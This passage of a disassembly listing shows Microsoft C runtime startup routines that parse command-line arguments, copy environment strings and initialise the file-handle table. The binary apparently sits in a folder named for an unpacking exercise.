push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call ds:dword_4942F8
mov off_4920C0, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov eax, dword_493784
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_4253D7
mov edx, off_4920C0
mov [ebp+var_14], edx
jmp short loc_4253DF
; ---------------------------------------------------------------------------
loc_4253D7: ; CODE XREF: sub_425390+3Aj
mov eax, dword_493784
mov [ebp+var_14], eax
loc_4253DF: ; CODE XREF: sub_425390+45j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_425470
add esp, 14h
push 80h
push offset aStdargv_c ; "stdargv.c"
push 2
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*4]
push ecx
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42542E
push 8
call sub_41BAE0
add esp, 4
loc_42542E: ; CODE XREF: sub_425390+92j
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_425470
add esp, 14h
mov eax, [ebp+var_C]
sub eax, 1
mov dword_4920A4, eax
mov ecx, [ebp+var_8]
mov dword_4920A8, ecx
mov esp, ebp
pop ebp
retn
sub_425390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425470 proc near ; CODE XREF: sub_425390+65p
; sub_425390+B8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_4254A5
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_4254A5: ; CODE XREF: sub_425470+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_42557D
loc_4254B4: ; CODE XREF: sub_425470:loc_42553Dj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_425542
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_425542
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, byte_492641[edx]
and eax, 4
test eax, eax
jz short loc_425517
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_425517
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_425517: ; CODE XREF: sub_425470+76j
; sub_425470+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42553D
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42553D: ; CODE XREF: sub_425470+B8j
jmp loc_4254B4
; ---------------------------------------------------------------------------
loc_425542: ; CODE XREF: sub_425470+56j
; sub_425470+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_425564
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_425564: ; CODE XREF: sub_425470+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_425578
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_425578: ; CODE XREF: sub_425470+FDj
jmp loc_42564C
; ---------------------------------------------------------------------------
loc_42557D: ; CODE XREF: sub_425470+3Ej
; sub_425470+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_4255A3
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_4255A3: ; CODE XREF: sub_425470+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, byte_492641[ecx]
and edx, 4
test edx, edx
jz short loc_4255FB
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_4255F2
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_4255F2: ; CODE XREF: sub_425470+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4255FB: ; CODE XREF: sub_425470+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_425627
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_425627
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_42557D
loc_425627: ; CODE XREF: sub_425470+197j
; sub_425470+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
jnz short loc_42563F
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42564C
; ---------------------------------------------------------------------------
loc_42563F: ; CODE XREF: sub_425470+1C2j
cmp [ebp+arg_8], 0
jz short loc_42564C
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_42564C: ; CODE XREF: sub_425470:loc_425578j
; sub_425470+1CDj ...
mov [ebp+var_14], 0
loc_425653: ; CODE XREF: sub_425470+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42567E
loc_42565D: ; CODE XREF: sub_425470+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_425673
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42567E
loc_425673: ; CODE XREF: sub_425470+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42565D
; ---------------------------------------------------------------------------
loc_42567E: ; CODE XREF: sub_425470+1EBj
; sub_425470+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42568D
jmp loc_42586B
; ---------------------------------------------------------------------------
loc_42568D: ; CODE XREF: sub_425470+216j
cmp [ebp+arg_4], 0
jz short loc_4256A4
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_4256A4: ; CODE XREF: sub_425470+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_4256B1: ; CODE XREF: sub_425470+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_4256BF: ; CODE XREF: sub_425470+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_4256DE
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_4256BF
; ---------------------------------------------------------------------------
loc_4256DE: ; CODE XREF: sub_425470+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42573A
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_425732
cmp [ebp+var_14], 0
jz short loc_42571F
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_425716
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42571D
; ---------------------------------------------------------------------------
loc_425716: ; CODE XREF: sub_425470+299j
mov [ebp+var_8], 0
loc_42571D: ; CODE XREF: sub_425470+2A4j
jmp short loc_425726
; ---------------------------------------------------------------------------
loc_42571F: ; CODE XREF: sub_425470+28Dj
mov [ebp+var_8], 0
loc_425726: ; CODE XREF: sub_425470:loc_42571Dj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_425732: ; CODE XREF: sub_425470+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_42573A: ; CODE XREF: sub_425470+277j
; sub_425470+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_42576E
cmp [ebp+arg_8], 0
jz short loc_42575F
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_42575F: ; CODE XREF: sub_425470+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_42573A
; ---------------------------------------------------------------------------
loc_42576E: ; CODE XREF: sub_425470+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_425794
cmp [ebp+var_14], 0
jnz short loc_425799
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_425794
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_425799
loc_425794: ; CODE XREF: sub_425470+306j
; sub_425470+317j
jmp loc_425844
; ---------------------------------------------------------------------------
loc_425799: ; CODE XREF: sub_425470+30Cj
; sub_425470+322j
cmp [ebp+var_8], 0
jz loc_425836
cmp [ebp+arg_8], 0
jz short loc_4257FD
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_492641[eax]
and ecx, 4
test ecx, ecx
jz short loc_4257E8
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_4257E8: ; CODE XREF: sub_425470+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_425829
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_425470+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_492641[eax]
and ecx, 4
test ecx, ecx
jz short loc_425829
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_425829: ; CODE XREF: sub_425470+38Bj
; sub_425470+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_425836: ; CODE XREF: sub_425470+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_4256B1
; ---------------------------------------------------------------------------
loc_425844: ; CODE XREF: sub_425470:loc_425794j
cmp [ebp+arg_8], 0
jz short loc_425859
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_425859: ; CODE XREF: sub_425470+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_425653
; ---------------------------------------------------------------------------
loc_42586B: ; CODE XREF: sub_425470+218j
cmp [ebp+arg_4], 0
jz short loc_425883
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_425883: ; CODE XREF: sub_425470+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_425470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4258A0 proc near ; CODE XREF: sub_41B970+BEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov [ebp+var_18], 0
cmp dword_492298, 0
jnz short loc_4258FA
call ds:dword_494498
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_4258D8
mov dword_492298, 1
jmp short loc_4258FA
; ---------------------------------------------------------------------------
loc_4258D8: ; CODE XREF: sub_4258A0+2Aj
call ds:dword_494494
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_4258F3
mov dword_492298, 2
jmp short loc_4258FA
; ---------------------------------------------------------------------------
loc_4258F3: ; CODE XREF: sub_4258A0+45j
xor eax, eax
jmp loc_425AB5
; ---------------------------------------------------------------------------
loc_4258FA: ; CODE XREF: sub_4258A0+1Bj
; sub_4258A0+36j ...
cmp dword_492298, 1
jnz loc_4259FE
cmp [ebp+var_14], 0
jnz short loc_425923
call ds:dword_494498
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_425923
xor eax, eax
jmp loc_425AB5
; ---------------------------------------------------------------------------
loc_425923: ; CODE XREF: sub_4258A0+6Bj
; sub_4258A0+7Aj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
loc_425929: ; CODE XREF: sub_4258A0:loc_425953j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_425955
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_425953
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
loc_425953: ; CODE XREF: sub_4258A0+A8j
jmp short loc_425929
; ---------------------------------------------------------------------------
loc_425955: ; CODE XREF: sub_4258A0+93j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_14]
sar ecx, 1
add ecx, 1
mov [ebp+var_4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4943B0
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4259A4
push 64h
push offset aA_env_c ; "a_env.c"
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_416A30
add esp, 10h
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_4259B5
loc_4259A4: ; CODE XREF: sub_4258A0+E4j
mov edx, [ebp+var_14]
push edx
call ds:dword_494490
xor eax, eax
jmp loc_425AB5
; ---------------------------------------------------------------------------
loc_4259B5: ; CODE XREF: sub_4258A0+102j
push 0
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4943B0
test eax, eax
jnz short loc_4259EC
push 2
mov ecx, [ebp+var_18]
push ecx
call sub_4174C0
add esp, 8
mov [ebp+var_18], 0
loc_4259EC: ; CODE XREF: sub_4258A0+135j
mov edx, [ebp+var_14]
push edx
call ds:dword_494490
mov eax, [ebp+var_18]
jmp loc_425AB5
; ---------------------------------------------------------------------------
loc_4259FE: ; CODE XREF: sub_4258A0+61j
cmp dword_492298, 2
jnz loc_425AB3
cmp [ebp+var_18], 0
jnz short loc_425A27
call ds:dword_494494
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_425A27
xor eax, eax
jmp loc_425AB5
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_4258A0+16Fj
; sub_4258A0+17Ej
mov eax, [ebp+var_18]
mov [ebp+var_C], eax
loc_425A2D: ; CODE XREF: sub_4258A0:loc_425A53j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_425A55
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_425A53
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_425A53: ; CODE XREF: sub_4258A0+1A8j
jmp short loc_425A2D
; ---------------------------------------------------------------------------
loc_425A55: ; CODE XREF: sub_4258A0+195j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_10], ecx
push 8Fh
push offset aA_env_c ; "a_env.c"
push 2
mov edx, [ebp+var_10]
push edx
call sub_416A30
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_425A90
mov eax, [ebp+var_18]
push eax
call ds:dword_49448C
xor eax, eax
jmp short loc_425AB5
; ---------------------------------------------------------------------------
loc_425A90: ; CODE XREF: sub_4258A0+1E0j
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call sub_418A00
add esp, 0Ch
mov ecx, [ebp+var_18]
push ecx
call ds:dword_49448C
mov eax, [ebp+var_C]
jmp short loc_425AB5
; ---------------------------------------------------------------------------
loc_425AB3: ; CODE XREF: sub_4258A0+165j
xor eax, eax
loc_425AB5: ; CODE XREF: sub_4258A0+55j
; sub_4258A0+7Ej ...
mov esp, ebp
pop ebp
retn
sub_4258A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425AC0 proc near ; CODE XREF: sub_41B970+AEp
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_16 = dword ptr -16h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset aIoinit_c ; "ioinit.c"
push 2
push 480h
call sub_416A30
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_425AF2
push 1Bh
call sub_41BAE0
add esp, 4
loc_425AF2: ; CODE XREF: sub_425AC0+26j
mov eax, [ebp+var_50]
mov dword_492420, eax
mov dword_492520, 20h
jmp short loc_425B0F
; ---------------------------------------------------------------------------
loc_425B06: ; CODE XREF: sub_425AC0+81j
mov ecx, [ebp+var_50]
add ecx, 24h
mov [ebp+var_50], ecx
loc_425B0F: ; CODE XREF: sub_425AC0+44j
mov edx, dword_492420
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_425B43
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_425B06
; ---------------------------------------------------------------------------
loc_425B43: ; CODE XREF: sub_425AC0+5Ej
lea ecx, [ebp+var_48]
push ecx
call ds:dword_494424
mov edx, [ebp+var_16]
and edx, 0FFFFh
test edx, edx
jz loc_425CE5
cmp [ebp+var_16+2], 0
jz loc_425CE5
mov eax, [ebp+var_16+2]
mov ecx, [eax]
mov [ebp+var_64], ecx
mov edx, [ebp+var_16+2]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
add eax, [ebp+var_64]
mov [ebp+var_60], eax
cmp [ebp+var_64], 800h
jge short loc_425B93
mov ecx, [ebp+var_64]
mov [ebp+var_68], ecx
jmp short loc_425B9A
; ---------------------------------------------------------------------------
loc_425B93: ; CODE XREF: sub_425AC0+C9j
mov [ebp+var_68], 800h
loc_425B9A: ; CODE XREF: sub_425AC0+D1j
mov edx, [ebp+var_68]
mov [ebp+var_64], edx
mov [ebp+var_5C], 1
jmp short loc_425BB2
; ---------------------------------------------------------------------------
loc_425BA9: ; CODE XREF: sub_425AC0:loc_425C4Dj
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_425BB2: ; CODE XREF: sub_425AC0+E7j
mov ecx, dword_492520
cmp ecx, [ebp+var_64]
jge loc_425C52
push 0B6h
push offset aIoinit_c ; "ioinit.c"
push 2
push 480h
call sub_416A30
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_425BEE
mov edx, dword_492520
mov [ebp+var_64], edx
jmp short loc_425C52
; ---------------------------------------------------------------------------
loc_425BEE: ; CODE XREF: sub_425AC0+121j
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_50]
mov dword_492420[eax*4], ecx
mov edx, dword_492520
add edx, 20h
mov dword_492520, edx
jmp short loc_425C15
; ---------------------------------------------------------------------------
loc_425C0C: ; CODE XREF: sub_425AC0+18Bj
mov eax, [ebp+var_50]
add eax, 24h
mov [ebp+var_50], eax
loc_425C15: ; CODE XREF: sub_425AC0+14Aj
mov ecx, [ebp+var_5C]
mov edx, dword_492420[ecx*4]
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_425C4D
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_425C0C
; ---------------------------------------------------------------------------
loc_425C4D: ; CODE XREF: sub_425AC0+168j
jmp loc_425BA9
; ---------------------------------------------------------------------------
loc_425C52: ; CODE XREF: sub_425AC0+FBj
; sub_425AC0+12Cj
mov [ebp+var_58], 0
jmp short loc_425C76
; ---------------------------------------------------------------------------
loc_425C5B: ; CODE XREF: sub_425AC0:loc_425CE0j
mov ecx, [ebp+var_58]
add ecx, 1
mov [ebp+var_58], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_60]
add eax, 4
mov [ebp+var_60], eax
loc_425C76: ; CODE XREF: sub_425AC0+199j
mov ecx, [ebp+var_58]
cmp ecx, [ebp+var_64]
jge short loc_425CE5
mov edx, [ebp+var_60]
cmp dword ptr [edx], 0FFFFFFFFh
jz short loc_425CE0
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
and ecx, 1
test ecx, ecx
jz short loc_425CE0
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
and eax, 8
test eax, eax
jnz short loc_425CB0
mov ecx, [ebp+var_60]
mov edx, [ecx]
push edx
call ds:dword_4942CC
test eax, eax
jz short loc_425CE0
loc_425CB0: ; CODE XREF: sub_425AC0+1DEj
mov eax, [ebp+var_58]
sar eax, 5
mov ecx, [ebp+var_58]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_60]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax+4], dl
loc_425CE0: ; CODE XREF: sub_425AC0+1C4j
; sub_425AC0+1D1j ...
jmp loc_425C5B
; ---------------------------------------------------------------------------
loc_425CE5: ; CODE XREF: sub_425AC0+98j
; sub_425AC0+A2j ...
mov [ebp+var_58], 0
jmp short loc_425CF7
; ---------------------------------------------------------------------------
loc_425CEE: ; CODE XREF: sub_425AC0:loc_425DCFj
mov eax, [ebp+var_58]
add eax, 1
mov [ebp+var_58], eax
loc_425CF7: ; CODE XREF: sub_425AC0+22Cj
cmp [ebp+var_58], 3
jge loc_425DD4
mov ecx, [ebp+var_58]
imul ecx, 24h
mov edx, dword_492420
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_425DC0
mov ecx, [ebp+var_50]
mov byte ptr [ecx+4], 81h
cmp [ebp+var_58], 0
jnz short loc_425D34
mov [ebp+var_6C], 0FFFFFFF6h
jmp short loc_425D44
; ---------------------------------------------------------------------------
loc_425D34: ; CODE XREF: sub_425AC0+269j
mov edx, [ebp+var_58]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp+var_6C], edx
loc_425D44: ; CODE XREF: sub_425AC0+272j
mov eax, [ebp+var_6C]
push eax
call ds:dword_49443C
mov [ebp+var_4C], eax
cmp [ebp+var_4C], 0FFFFFFFFh
jz short loc_425DAF
mov ecx, [ebp+var_4C]
push ecx
call ds:dword_4942CC
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jz short loc_425DAF
mov edx, [ebp+var_50]
mov eax, [ebp+var_4C]
mov [edx], eax
mov ecx, [ebp+var_54]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_425D90
mov edx, [ebp+var_50]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp+var_50]
mov [ecx+4], al
jmp short loc_425DAD
; ---------------------------------------------------------------------------
loc_425D90: ; CODE XREF: sub_425AC0+2BEj
mov edx, [ebp+var_54]
and edx, 0FFh
cmp edx, 3
jnz short loc_425DAD
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_425DAD: ; CODE XREF: sub_425AC0+2CEj
; sub_425AC0+2DCj
jmp short loc_425DBE
; ---------------------------------------------------------------------------
loc_425DAF: ; CODE XREF: sub_425AC0+295j
; sub_425AC0+2A8j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_425DBE: ; CODE XREF: sub_425AC0:loc_425DADj
jmp short loc_425DCF
; ---------------------------------------------------------------------------
loc_425DC0: ; CODE XREF: sub_425AC0+258j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_425DCF: ; CODE XREF: sub_425AC0:loc_425DBEj
jmp loc_425CEE
; ---------------------------------------------------------------------------
loc_425DD4: ; CODE XREF: sub_425AC0+23Bj
mov eax, dword_492520
push eax
call ds:dword_4942D0
mov esp, ebp
pop ebp
retn
sub_425AC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_425E08
; ---------------------------------------------------------------------------
loc_425DFF: ; CODE XREF: .text:loc_425E82j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_425E08: ; CODE XREF: .text:00425DFDj
cmp dword ptr [ebp-8], 40h
jge short loc_425E87
mov ecx, [ebp-8]
cmp dword_492420[ecx*4], 0
jz short loc_425E82
mov edx, [ebp-8]
mov eax, dword_492420[edx*4]
mov [ebp-4], eax
jmp short loc_425E33
; ---------------------------------------------------------------------------
loc_425E2A: ; CODE XREF: .text:loc_425E5Dj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_425E33: ; CODE XREF: .text:00425E28j
mov edx, [ebp-8]
mov eax, dword_492420[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_425E5F
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_425E5D
mov edx, [ebp-4]
add edx, 0Ch
push edx
call ds:dword_494310
loc_425E5D: ; CODE XREF: .text:00425E4Ej
jmp short loc_425E2A
; ---------------------------------------------------------------------------
loc_425E5F: ; CODE XREF: .text:00425E45j
push 2
mov eax, [ebp-8]
mov ecx, dword_492420[eax*4]
push ecx
call sub_4174C0
add esp, 8
mov edx, [ebp-8]
mov dword_492420[edx*4], 0
loc_425E82: ; CODE XREF: .text:00425E19j
jmp loc_425DFF
; ---------------------------------------------------------------------------
loc_425E87: ; CODE XREF: .text:00425E0Cj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E8C proc near ; CODE XREF: sub_425F84+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
